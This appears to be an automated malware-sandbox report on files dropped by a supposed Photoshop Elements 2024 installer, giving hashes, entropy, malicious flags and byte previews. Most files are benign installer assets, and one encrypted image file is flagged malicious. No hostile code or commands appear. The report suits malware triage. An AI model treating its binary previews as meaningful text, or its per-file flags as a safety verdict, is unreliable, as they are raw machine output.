Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	553301
Entropy (8bit):	7.995654160787874
Encrypted:	true
SSDEEP:	12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
MD5:	3ED1397092BD3EAFDFE71335BF5F5E3C
SHA1:	9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
SHA-256:	8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
SHA-512:	5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
Malicious:	true
Preview:	.PNG........IHDR...z..........Ay.....sBIT....\|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\index.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.497933185923274
Encrypted:	false
SSDEEP:	96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
MD5:	348352BAA22F54466691B8673B6B6C93
SHA1:	5F6606EA02606FEC542690E80273AA5FFAAFF0AE
SHA-256:	39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
SHA-512:	F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
Malicious:	false
Preview:	<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\lib\jquery.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\clean.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (63595), with CRLF line terminators
Category:	dropped
Size (bytes):	718997
Entropy (8bit):	6.0071312142972335
Encrypted:	false
SSDEEP:	12288:P5i6jE/5acgsu0wwT63kaSROcdOLeK+CnLG1VWzWhHuakxiaHbr3Gq5XR1:ho/5F5N65SROcwLeKVggzWItBP3/5XH
MD5:	4F3364AF3E396F92A8826532BFB1A7E5
SHA1:	7F7B613435ECE78A358F2066287C2F2C3C6AA168
SHA-256:	45B9B77499356527E9047256DB96A542A720BF075D67E9F6BA55D51FD562339E
SHA-512:	C022A28656483106095967EC4D57EB743D04F029406C2C553C9D19C103520E274C0EEA19F411BDB7AE16F388211C456A413DF5A0A6097036DEB0010573D49C72
Malicious:	false
Preview:	/************************************************************************.. ADOBE CONFIDENTIAL.. * ___________________.. .. Copyright 2015 Adobe Systems Incorporated.. * All Rights Reserved... .. NOTICE: All information contained herein is, and remains.. * the property of Adobe Systems Incorporated and its suppliers,.. * if any. The intellectual and technical concepts contained.. * herein are proprietary to Adobe Systems Incorporated and its.. * suppliers and are protected by all applicable intellectual property.. * laws, including trade secret and copyright laws... * Dissemination of this information or reproduction of this material.. * is strictly forbidden unless prior written permission is obtained.. * from Adobe Systems Incorporated... *************************************************************************/.. ../{"c":"2014-07-16T23:34:26Z","s":"prod-origin-83c205ec","v":"783743"}/../.. * The Typekit service used to deliver this font or fonts for use on websites.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\common.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2578
Entropy (8bit):	4.931529716406852
Encrypted:	false
SSDEEP:	48:NSrnTHOeL3SJr9DlBPd3i0HcxP4Kevtwsx0uB7Vc3KA:NSrnL3ArdlBd3i0Hc+53B5c/
MD5:	1265D497504870D225452B3309B0E06B
SHA1:	29A3B783E6F2F2CD3F6D08833B83C7848F8E3450
SHA-256:	4273A5D4EF990DEAD6CABE760C27B25F7FCF8A51177F1B31813AD8866A565330
SHA-512:	9AA8B24E800A619651699C193A7747B8673A3CD4F8A5D3B16EE35F5EF6161F953A904631B97D118339332A3D2C7292C910802F6E1518DB18D48FAB5E9EB91681
Malicious:	false
Preview:	/jQuery's custom scrollbar/.....scrollable {.. position: relative;..}.....scrollable:focus {.. outline: 0;..}.....scrollable .viewport {.. position: relative;.. overflow: hidden;..}.....scrollable .viewport .overview {.. position: relative;..}.....scrollable .scroll-bar {.. display: none;..}.....scrollable .scroll-bar.vertical {.. position: absolute;.. right: 0;.. height: 100%;..}.....scrollable .scroll-bar.horizontal {.. position: relative;.. width: 100%;..}.....scrollable .scroll-bar .thumb {.. position: absolute;..}.....scrollable .scroll-bar.vertical .thumb {.. width: 100%;.. min-height: 10px;.. min-height: 0.625rem;..}.....scrollable .scroll-bar.horizontal .thumb {.. height: 100%;.. min-width: 10px;.. min-width: 0.625rem;.. left: 0;..}.....not-selectable {.. -webkit-touch-callout: none;.. -webkit-user-select: none;.. -khtml-user-select: none;.. -moz-user-select: none;.. -ms-user-select: none;.. user-selec

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\common.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2632
Entropy (8bit):	5.126236676088857
Encrypted:	false
SSDEEP:	48:3m3bY/eZDzd6rd0DVA9I5QV9OuE/KXjtkQnYX5wJp8EBEPiDpoQ6WLEIp6Yhn2oY:30bX1dT5QbXjRnZJp5ePcUWLEIUYV7/A
MD5:	D98F70FFD105672292755A37F173C2EC
SHA1:	C0154ADD295AC052F234A0282A62B704CDD01998
SHA-256:	257A42F797F140667C81930001E73943BFC243D50BCC775F75D0334A2D2CF2C3
SHA-512:	1909CC7E4DA0949A469852240BE2205209968B18B99F7D967BC0231DE33D03C7CBAA9578972E30E95E6D7017AEBF9CD70A55BA22CDC9D5774D2A237D3EB0971B
Malicious:	false
Preview:	/*.. Created by puarora on 05/10/2017... */....function attachEvt(elem, eventName, handler) {.. if (document.attachEvent) elem.attachEvent('on' + eventName, handler);.. else elem.addEventListener(eventName, handler);..}....function wrap(el, wrapper) {.. wrapper.setAttribute("class", "custom-checkbox");.. el.parentNode.insertBefore(wrapper, el);.. wrapper.appendChild(el);..}....function addClass(ele, cls) {.. if (!hasClass(ele, cls)) ele.className += " " + cls;..}....function removeClass(ele, cls) {.. if (hasClass(ele, cls)) {.. var reg = new RegExp('(\\s\|^)' + cls + '(\\s\|$)');.. ele.className = ele.className.replace(reg, ' ');.. }..}....function toggleClass(element, cssClass) {.. var classes = element.className.match(/\S+/g) \|\| [],.. index = classes.indexOf(cssClass);.. index >= 0 ? classes.splice(index, 1) : classes.push(cssClass);.. element.className = classes.join(' ');..}....function hasClass(target, className) {.. return

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\content.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	assembler source, ASCII text, with very long lines (576), with CRLF line terminators
Category:	dropped
Size (bytes):	17365
Entropy (8bit):	4.939377811069116
Encrypted:	false
SSDEEP:	192:A4tVyLcF4YlTAIjroXJBYCd+WQ3boESgXimdzYSea415+ppxwRkWf0h:XtVyE4YCZB/cUPrsp7
MD5:	EDACDE36FF06BD26F1907AE092EAC998
SHA1:	C25E9052EE5B28EC28E2ECEEE40217302BF2CAAE
SHA-256:	257634B6FA84DCE998B31D6497330F0A0661EFBD270F58289FBE026ED95B6F2C
SHA-512:	7E8D48E71A51659EA52DCCC2D7C542580C9EA1953EC9CA2AD77D3C0926C5BC77167F85121FAB2DCB7FD4D6D2F04EDBD90815B76979D3269994CF662FADC357E1
Malicious:	false
Preview:	body {.. line-height: normal;.. font-family: 'Adobe Clean', sans-serif;.. margin: 0;.. -webkit-user-select: none;.. -moz-user-select: none;.. -ms-user-select: none;.. user-select: none;..}.....text-center {.. text-align: center;..}.....cec-carousel{...border: none;...position: fixed;..}.....centerMid {.. padding-top: 88px;.. padding-top: 5.5rem;..}.....content {.. height: 345px;...height: 21.5625rem;.. color: #4b4b4b;.. background: #f5f5f5;.. position: relative;..}.....content .centerMid {.. height: 181px;...height: 11.31rem;..}.....content img {.... margin-bottom: 22px;.. margin-bottom: 1.375rem;.. width: 88px;...width: 5.5rem;.. height: 84px;.. height: 5.25rem;..}.....content .productName {.. font-size: 29px;...font-size: 1.812rem;.. font-weight: lighter;.. word-wrap: break-word;.. padding-left: 20px;.. padding-right: 20px;..}.....downloaderContent .packageName {.. font-size: 29px;.. font-size: 1.812rem;

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\content.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7111
Entropy (8bit):	4.185691978778471
Encrypted:	false
SSDEEP:	96:pSEvOm69itmXEv9YqS0WsYSZt/38WMc3pGh1x+Flxtfz:oBitmXevlEWMcO1x+FlxtL
MD5:	60E80C05A9D6AA602626FEC33CD99E3C
SHA1:	7AEAAC92D57FBABE5DA2C923EB0AD1BB22E647AB
SHA-256:	5BD6A4BC514B2E697A0F0E8B7B8C0BE0AF34A9E1C25A628B286A5CDF8E1837D3
SHA-512:	838DE7045B1EE4542D4145276B3FEF5BA60DC10ED0066266BEBB3E44C5485005D33DCEAEFB1CF3FD1FD1BC7364622BB85630957A243464C4C738A415B30ADF7F
Malicious:	false
Preview:	<!DOCTYPE html>..<html>..<head lang="en">.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE10" />.. <link rel="stylesheet" type="text/css" href="clean.css">.. <link rel="stylesheet" type="text/css" href="content.css">.. <link rel="stylesheet" type="text/css" href="common.css">..</head>..<body onload="onLoadComplete()">.. <div class="container">.... <div class="text-center downloaderContent" id="downloaderPackageContent">.. <div class="centerMid">.. <img src="" />.. <div class="packageName"></div>.. </div>.. </div>.... <div class="content text-center" id="productContent">.. <div class="centerMid">.. <img src="" />.. <div class="productName"></div>.. <div class="productVersion"></div>.. </div>.. </div>.... <div class="downloadOptions" id = "downloadOptions">.. <div class="do

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\content.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (363), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	36834
Entropy (8bit):	5.0023261444862275
Encrypted:	false
SSDEEP:	768:DrlLXh1YEOzCZCpFP73Gtm1L10bA/XKgA2/+iGpCvce4d5vQmUbp:DrlLXhmvCZC/3GtG5X+1pCke4d5vrUN
MD5:	E704DB9AE855BC38284C7C6AEF87A7B0
SHA1:	C5C8C496CBB9497B4B013547C328270E9C2F6040
SHA-256:	162B60AF1E71A04E3CF3E0ED5E9806F3C253F7DCD6AD1B08D0BF6B05A8593844
SHA-512:	2DE4818292C1B196946DD06AD5CAD3BFAA91B92DE2760371E9B8844557B80754C747A39763E6626D155FBAF00683800AA465BC1224F22615EFA2ED8766C86E18
Malicious:	false
Preview:	/*.. Created by abhjain on 12/21/2015... /....$(document).ready(function() {.. init();..});....function onLoadComplete() {.. / Code to disable tab key handling.. $('.container').keydown(function (objEvent) {.. if (objEvent.keyCode == 9) { //tab pressed.. objEvent.preventDefault();.. }.. }).. */.... $("#selectAllProducts").keydown(function (event) {.. if (event.keyCode === 13) {.. $("#selectAllProducts").click();.. }.. });.... $("#languageOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {.. dropdownMenuToggle($('#languageDropdownOptionsList'));.. }.. });.... $("#locationOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {.. dropdownMenuToggle($('#locationDropdownOptionsList'));.. }.. });.... $("#downloadLocationOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\adobelogo.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	749
Entropy (8bit):	5.476176820648931
Encrypted:	false
SSDEEP:	12:TMHdwHaNi/nzVO3/KYIg3cCiHmJqrFd6hzqDccqFJFMvJq:2dikAALIgsdGcrf6hzacPJFMvI
MD5:	E7B1717B9EBA236B9C12BE7A980B5B40
SHA1:	F1BAA3F41FFA5DFFF320B7E289964CEC54F19A99
SHA-256:	2A48E8DB0F3991DE1088936F56C583FE615FAE4B9E14F4EBE2B33D29138088F3
SHA-512:	9C8DEBE604372AC1FE3945579EE843F13DF6F8D40F2C402590743009B39C5F80E859830FC422D7F8D447C4E30F1198584850DE657FACFAA2B84955D386563B88
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 21.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="S_AdobeLogo_24_N_2x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"... x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve">..<style type="text/css">....st0{fill:#FF13DC;fill-opacity:0;}....st1{fill:#ACACAC;}..</style>..<title>S_AdobeLogo_24_N@2x</title>..<rect id="Canvas" class="st0" width="24" height="24"/>..<g>...<polygon class="st1" points="14.6,3 22,3 22,21 ."/>...<polygon class="st1" points="9.4,3 2,3 2,21 ."/>...<polygon class="st1" points="12,9.6 16.7,21 13.6,21 12.2,17.4 8.8,17.4 ."/>..</g>..</svg>..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\alert.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	958
Entropy (8bit):	5.381157379214617
Encrypted:	false
SSDEEP:	24:2dikAiLMdGAEh6tzoI2xjwv4mp1mXcD1QCtP:cikA2MdKQvpCcKCB
MD5:	332816D7725FC31725B678CFF1CB6DCC
SHA1:	876F938EFB86C1BB1733B47EC279335DE97576DA
SHA-256:	8B5469642507C00B9130BF7ED17A1E4D221E2A93DFD4D2972163650C4E94D714
SHA-512:	5C4A678892B1A550A0C85E77F75C8B56FEBBFCD92C658DAB198197ED17D7FAD04D7B65F8ADC17E095895366BF933421CAE30E430E136870D3E02E9F89D115775
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 21.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="S_Alert_24_N_2x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"... y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve">..<style type="text/css">....st0{fill:#FF13DC;fill-opacity:0;}....st1{fill:#E44853;}..</style>..<title>S_Alert_24_N@2x</title>..<rect id="Canvas" class="st0" width="24" height="24"/>..<path class="st1" d="M22.2,19.5L12.9,2.6c-0.3-0.5-0.9-0.7-1.4-0.4c-0.2,0.1-0.3,0.2-0.4,0.4L1.8,19.5c-0.3,0.5-0.1,1.1,0.4,1.4...C2.4,21,2.5,21,2.7,21h18.6c0.6,0,1-0.4,1-1C22.3,19.8,22.3,19.7,22.2,19.5z M12,19.5c-0.8,0-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5...s1.5,0.7,1.5,1.5S12.8,19.5,12,19.5z M10.8,14.5v-7C10.8,7.2,11,7,11.3,7h1.4c0.3,0,0.5,0.2,0.5,0.5v7c0,0.3-0.2,0.5-0.5,0.5h-1.4...C11,15,10.8,14.8,10.8,14.5z"/>..</svg>..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\appIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3054
Entropy (8bit):	7.920741815156119
Encrypted:	false
SSDEEP:	48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
MD5:	EB5FDB63686193E55826A8DD77D64412
SHA1:	977C4788ABF0F274E74281C4DA76C0C3D2F26B76
SHA-256:	1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
SHA-512:	C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
Malicious:	false
Preview:	.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL.....,."..(U..?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.\|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.).........f..i o:...E.,....[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........\|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\cancelButton.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	295
Entropy (8bit):	7.009097145013056
Encrypted:	false
SSDEEP:	6:6v/lhPIcR8RtshA37j1nxheDag9C63DuB2ULuERgLe/MjJBmrUg6RpyHp:6v/7DR8ehIBnxhs063DuaecJMAOJ
MD5:	7AE9FB845B9137EF10002FE9D0F5C643
SHA1:	9F3FA2B29B1B40E1B6794E5D624524DE297A8B59
SHA-256:	E9E5FC264337BF6845B2CF2720DDCDE8936CB120328087917BF94C5911EDD74A
SHA-512:	4420CDFBC47D2AC804F1C05840E4113B098FFC71E95E11FFE8F95342F5A75DC0F35FE8012984B0D645F1310B524F66069AE0C0FE053E0D601D39ADED321C15CD
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sRGB.........IDAT(...=..@.F.m .j..........E....../.......K..Iv.\|...U....U.4.(.^...<.7A...Qi..r...8\...L.u.-...x..n.....m{Qd.l..a.......=F..-........hc...5.cv%4....1._6...h...Yy....HY{.&H..l..{.q...?x5{6......G`.X-.....&..7.....h....Di....IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\ccIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 29 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	550
Entropy (8bit):	7.4943976070292
Encrypted:	false
SSDEEP:	12:6v/7DX8MbUByUhWoXk84XVOd9ZH3YiHNrjgF7doOxQIHYJ/Nz:SXfwBhWoXR4UVNr0FCSQI+d
MD5:	8D2C84506F3F48A810EB7232DC000D6F
SHA1:	F4A238C1F7C02C7C907368B939EFBA7512C6BE5A
SHA-256:	C4620BC8B293DD89DB628D2002EF9FE02055E2D1CFF1F07E18A3E2E4942AB7F1
SHA-512:	0FCCA755A410C7EF4E6F056B7267AAF23D5063DD8230528FC3765ED1E3D12042C930F999A54498E754FCB3565DF17636D7A5DE2E95E142AE139D17A744EC93A9
Malicious:	false
Preview:	.PNG........IHDR.............<T......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..V.M.0.m$...a....Z6..t.0AF.. e..A....a.s...............}qv....O.9.Z.....?+.....4M..'.z2. X.#...x.u....7D!..2]Y..&......H.GH..Kw/....{._.'.....y5v..P....<....N.......&......4....k...C../.Ta.......5l}&!E.t.n..6~.......69%z..H......g..Ta7..>.8.....R.R..O.cI..R.....*.).M.....Ow..K..XSUa[te_.....y.>f.a...,/..LL-..9.6..[...-...mBN...b]G6.N....FZB.Qp..zr.1..f.s..Pp....>4..bb..P..@.=...T.}[.Ou.s..G\|...o.-..-..=f..).....U..G........s..C......K.$......IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\ccIconDark.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 30 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.557922780675891
Encrypted:	false
SSDEEP:	12:6v/7+9s/6Tog8r/TlK9zi41xfBL6Hms18Vcgu82O8JyfKyoby1:bs/6Bw/Tlkj/fBLgb8yk21JyCtu1
MD5:	13B5F5E052334E0AD6D31845FC859E3D
SHA1:	B71022382904D194A5D8F5CB3B1D0DD92E254B16
SHA-256:	87FD64C46642058FB6D7AE4AB2C71BA5DF7CE12FFB8B9383EDC7BB7A673F0306
SHA-512:	79E77EF0CC83C24D3D0F04A2340E248A8DD11469F43740B6453913648CF2C3C5592053DD4A5A34C81F3FFDFDD0FDDC5953454EE0D44D3AC946B2DDBE17ADA584
Malicious:	false
Preview:	.PNG........IHDR..............c,.....pHYs.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx.V-t.@.n.0...Ij.b.b.......i.f.......Hj.d..]_..Z6......\|.....t.Y..i..G9.L+.........h.N.&Z...M...A..QK...DM..(.A..$..U....J..C..h.p...V`q1.gz.....2{.^e...o..$.m$r.#2..F(..!:.@.b._.....>-....}..s]..0...}..!....hF"'..`.Au>..E.pK..c..fM........T(s:g..2...m.I..#.aG.....u.....-.c..$.<..z......ana..Q.DYW.'%....b....{.q..n.W/..l.........KX9=/....B...UM....\....xf.p.s.Bs.....>-..{.3}!...^..[5.J.g.8...'....@9......g.p....r..M..1.M....."...........+&..?".....X*?.{..E..^..H...=;-........jp.O.4......C....^E.s..Gam...7..K.....A.-q.....IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\checkEmpty.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	167
Entropy (8bit):	6.101455760967006
Encrypted:	false
SSDEEP:	3:yionv//thPlZl+cR8LtsesyxNwGol4ikRUIW1qdyJ1/iTcOMNMhPTFoFg407PQ0p:6v/lhPIcR8Rtsuw3l4x1E1wcO1PTFoFU
MD5:	D13CECC413374C4DDC22A9EDACDE8A11
SHA1:	981295DD1F713584591716A6E753346B8A89215A
SHA-256:	B9C9AE215DAF1BB5B6692F527375207AEDC138891947E5F6C1C6B549C2EBF39A
SHA-512:	A717E64430A4680D09C555183C69705998FBEC4CB8AA41AC6AD10DF9FBD4F4E2243548689F12695760D5B191ED62A38A92558BC88A730004D7119DBE017C6241
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sRGB........aIDAT(.c...FF.Y@,......1......d.P.,.....6y...x,`.......O.6.Q..B.].....1,..%....f..i@..]...R....Z.#;...}....IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\checkFull.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	317
Entropy (8bit):	6.90777917772511
Encrypted:	false
SSDEEP:	6:6v/lhPIcR8R7AAR2DWNU0xG1oScwDn/SC4ucnrK1pesYD8+vuQYu5GtzNdGp:6v/7DR87AAR2Dn0g1okn/Sb3rUpe+BQv
MD5:	9F7974BBCC96F12769C1856045EB7BC7
SHA1:	FA0B9B9D709718839EA525AB838260A4E124FB1D
SHA-256:	E7FCFF2549114496E8141F46A7606F740BBADF22C9AD818C40D9FF9B9EA12198
SHA-512:	BC38C23791A8AD4E596E921BC5E391D39BEA998434915D5C25B1B37015A089FE91CE9510774C48FBC91E52400C5843897A5780AA1C2CF5C8B73D3F89A2AA0856
